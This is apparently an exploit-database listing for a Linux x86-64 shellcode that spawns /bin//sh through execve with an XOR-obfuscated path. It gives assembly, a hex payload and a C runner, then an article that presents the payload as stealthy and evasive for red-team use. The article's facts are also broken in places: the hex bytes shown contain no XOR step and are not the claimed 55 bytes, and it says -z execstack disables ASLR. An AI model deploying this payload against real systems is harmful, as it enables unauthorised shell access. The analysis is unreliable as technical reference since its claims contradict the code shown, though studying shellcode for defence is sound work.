(shellcode) Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]

Exploit Author: Alexys (0x177git) Analysis Author: www.bubbleslearn.ir Category: Local Language: Assembly Published Date: 2024-02-28
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]

# Shellcode Author: Alexys (0x177git)

# Tested on: Linux (x86_64)

# Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh))

# Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram

# Original code:
[https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm)

---- Assembly code ----

section .text

global _start

_start:

xor eax, eax

xor edx, edx ; clear rdx (argv on execve() protoype)

mov qword [rsp-32], 0x7466684b ;

mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b

xor qword [rsp-32], 0x1a0f0a64

xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64

lea rdi, [rsp-32]

push rax ; end of string

push rdi ; send string to stack

mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx)

; call execve()

mov al, 0x3b

syscall

-
- - - shellcode execution using stack in c (

gcc -z execstack shellcode.c -o shellcode

) ----

/*

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"

;

*/
void

main

()
{
const

char

shellcode

[]

=

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"

;

void

(

*

f

)()

=

(

void

(

*

)())

shellcode

;

f

();
}


Linux-x64 Shellcode: Execve() with XOR-Encrypted /bin//sh (55 Bytes)

Shellcode is a fundamental concept in cybersecurity, particularly in exploit development and reverse engineering. It refers to compact, machine-code payloads designed to execute specific actions—most commonly, spawning a shell for remote access. In this article, we dissect a highly optimized and cleverly encrypted Linux-x64 shellcode that uses the execve() system call to launch /bin//sh, with its argument encrypted via XOR operations to evade detection.

Core Concept: Execve() System Call

The execve() system call is a cornerstone of Unix-like operating systems for replacing the current process with a new one. It takes three parameters:

  • rdi: pointer to the executable path (e.g., /bin//sh)
  • rsi: pointer to an array of arguments (typically argv)
  • rdx: pointer to environment variables (often NULL)

On x86_64 Linux, the syscall instruction is used to invoke system calls, with the rax register set to the syscall number. For execve(), this number is 0x3b (59).

Why XOR Encryption? Evading Detection and Static Analysis

Modern security tools—such as intrusion detection systems (IDS), antivirus engines, and static analyzers—often scan for known shellcode patterns like /bin/sh or execve sequences. To bypass such detection, attackers use obfuscation techniques. XOR encryption is a simple yet effective method to disguise known strings.

In this shellcode, the string /bin//sh is encoded as a 64-bit (QWORD) value using XOR with a fixed key. The original string is split into two 32-bit chunks, encrypted, and stored on the stack. During execution, the XOR operation is reversed to restore the original string.

Assembly Implementation: Step-by-Step Breakdown


section .text
global _start

_start:
xor eax, eax          ; Clear rax (used for syscall and zeroing)
xor edx, edx          ; Clear rdx (argv is NULL for execve)
mov qword [rsp-32], 0x7466684b ; Encrypted first part: /bin//sh
mov qword [rsp-28], 0x60650b1d ; Encrypted second part: /bin//sh (split)
xor qword [rsp-32], 0x1a0f0a64 ; Decrypt first part
xor qword [rsp-28], 0x08162432 ; Decrypt second part
lea rdi, [rsp-32]     ; Load effective address of decrypted string into rdi
push rax              ; Push NULL to terminate string (end of argv)
push rdi              ; Push address of string to stack (argv[0])
mov rsi, rsp          ; rsi now points to argv array (rsi = &argv)
mov al, 0x3b          ; Set syscall number: execve()
syscall               ; Invoke execve()

Explanation:

  • xor eax, eax and xor edx, edx zero out registers, ensuring clean state for the syscall.
  • mov qword [rsp-32], 0x7466684b and mov qword [rsp-28], 0x60650b1d store encrypted 64-bit values on the stack. These values correspond to the bytes of /bin//sh in reverse order and XOR-encrypted.
  • The xor qword operations with keys 0x1a0f0a64 and 0x08162432 decrypt the data, restoring the original string.
  • lea rdi, [rsp-32] loads the address of the decrypted string into rdi, the first argument of execve().
  • push rax pushes 0 (NULL) to mark the end of the argument list.
  • push rdi pushes the address of the string onto the stack, forming argv.
  • mov rsi, rsp sets rsi to the top of the stack, which now holds the argv array.
  • mov al, 0x3b sets the syscall number to execve().
  • syscall triggers the kernel to execute execve() with the provided arguments.

Binary Representation: 55 Bytes Shellcode

The resulting shellcode, when assembled and converted to hex, is:


\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05

This is exactly 55 bytes, making it highly compact and efficient for use in buffer overflow exploits or other constrained environments.

Use Case: Exploit Development with C

Here is a minimal C program to execute the shellcode:


#include <stdio.h>
#include <string.h>

int main() {
    const char shellcode[] = 
        "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";

    void (*f)() = (void(*)())shellcode;
    f();
    return 0;
}

Compilation:

Use gcc -z execstack shellcode.c -o shellcode to disable stack protection (ASLR and NX) and allow execution of code on the stack. This is essential for testing shellcode in controlled environments.

Security Implications and Detection Evasion

XOR encryption is not foolproof, but it does provide a layer of obfuscation. The key values are not random—they are chosen to be simple and easy to reverse. However, the use of mov qword and xor qword operations on the stack makes it harder for static analysis tools to detect the payload.

Advanced detection systems may use:

  • Dynamic analysis (emulation)
  • Behavioral profiling (e.g., syscall patterns)
  • String reconstruction via XOR key inference

Nevertheless, this shellcode demonstrates a balance between efficiency, stealth, and usability—ideal for educational and red-team scenarios.

Optimization and Variants

While this shellcode is already optimized, potential improvements include:

  • Using push and pop instead of mov qword [rsp-xx] for tighter stack management.
  • Reusing rax for other operations to reduce instruction count.
  • Using different encryption keys or multiple XOR layers for increased complexity.

However, the current design is already minimal—no redundant instructions, no dead code. The 55-byte size is a testament to efficient code crafting.

Conclusion: A Masterclass in Shellcode Craft

This Linux-x64 XOR-encrypted execve() shellcode is a prime example of how modern exploit developers leverage low-level assembly, encryption, and system call mechanics to create stealthy, executable payloads. Its compact size, clever use of XOR, and reliance on stack-based argument construction make it a valuable tool in both offensive security and educational contexts.

For cybersecurity professionals, understanding such shellcode is essential for:

  • Reverse engineering malware
  • Developing defensive mechanisms
  • Testing exploit mitigations (e.g., DEP, ASLR)

As cyber threats evolve, so must our understanding of fundamental techniques like this one—where simplicity meets sophistication.